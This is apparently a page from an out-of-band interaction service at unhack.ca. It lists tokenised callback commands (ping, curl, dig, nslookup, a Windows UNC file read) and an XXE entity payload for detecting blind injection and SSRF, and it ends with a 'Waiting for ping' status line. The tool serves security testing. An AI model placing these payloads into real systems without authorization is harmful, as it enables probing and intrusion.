$ ping -c1 -p 0058b37a23a7d22a7ef6e0c69cae2100 unhack.ca
 
$ curl http://unhack.ca/p/58b37a23a7d22a7ef6e0c69cae21
 
$ dig 58b37a23a7d22a7ef6e0c69cae21 @unhack.ca
 
$ dig 58b37a23a7d22a7ef6e0c69cae21.ns.unhack.ca
 
C:\> nslookup 58b37a23a7d22a7ef6e0c69cae21 unhack.ca
 
C:\> type \\unhack.ca\58b37a23a7d22a7ef6e0c69cae21\f.txt
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/58b37a23a7d22a7ef6e0c69cae21">]>
    <foo>&xxe;</foo>
 
Waiting for ping...